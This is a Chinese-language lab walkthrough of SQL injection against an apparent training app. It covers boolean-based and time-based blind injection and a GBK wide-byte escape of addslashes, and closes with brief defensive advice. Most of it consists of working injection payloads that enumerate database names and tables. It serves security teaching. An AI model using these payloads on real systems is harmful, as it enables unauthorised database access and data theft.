目录
基于boolian的盲注
屏蔽了报错信息,只显示两种情况:正确和错误
输入单引号试探
输入and试一下
bool注入比较重要的是lenth()、substr()函数和ascii()函数这类取值和运算函数,substr()函数截取字符串的字母,通过ascii()函数转码成数字后就可以参与数学运算了。如:
select sustr(database(),1,1)>10
select ascii(sustr(database(),1,1))>10
select length(database())>10
开始注入:kobe' and ascii(substr(database(),1,1))>113#
若显示内容则后面表达式为真,否则为假
kobe' and ascii(substr(database(),1,1))=112#
kobe' and ascii(substr((select TABLE_NAME from INFORMATION_SCHEMA.tables where TABLE_SCHEMA=database() limit 0,1),1,1))<112#
基于时间的盲注
如果说基于bool的注入可以基于0或者1来判断注入,那基于时间的盲注就是啥也看不到,你无法从显示的不同来判断你的语句是否执行。这时可以引入基于时间的盲注。
发现输入’会立即回显报错
利用sleep()
输入kobe' and sleep(3)
发现延迟3秒显示,所以存在sql时间注入的漏洞
即后面语句猜测正确即延迟,不正确立即回显。
kobe' and if((substr(database(),1,1))='p',sleep(5),null)#
wide byte注入
输入注入字节后抓包
因为addslashes()
函数的作用是在单引号等字符前加反斜杠('
->\'
),url编码后就是%5c%27.
我们的payload的是【%df '】,在前面增加%df
(%81-%fe
之间都可),即%df%5c%27
,此时数据库若使用GBK编码,则会认为%df%5c
是一个宽字符,%27
单引号便逃逸出来了。
order by字段查询,输入2时正常,输入3时报错,说明字段数为2
union 联合查询试下数据库:
查询表名:kobe%df' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()
查询
'users'
表名旁边需要单引号,所以可以用Burp将'users'
进行转换为concat(char(39),char(117),char(115),char(101),char(114),char(115),char(39))
防御
对于宽字节编码,有一种最好的修补就是:
(1)使用mysql_set_charset(GBK)指定字符集
(2)使用mysql_real_escape_string进行转义
原理是,mysql_real_escape_string与addslashes的不同之处在于其会考虑当前设置的字符集,不会出现前面e5和5c拼接为一个宽字节的问题,但是这个“当前字符集”如何确定呢?
就是使用mysql_set_charset进行指定。
上述的两个条件是“与”运算的关系,少一条都不行。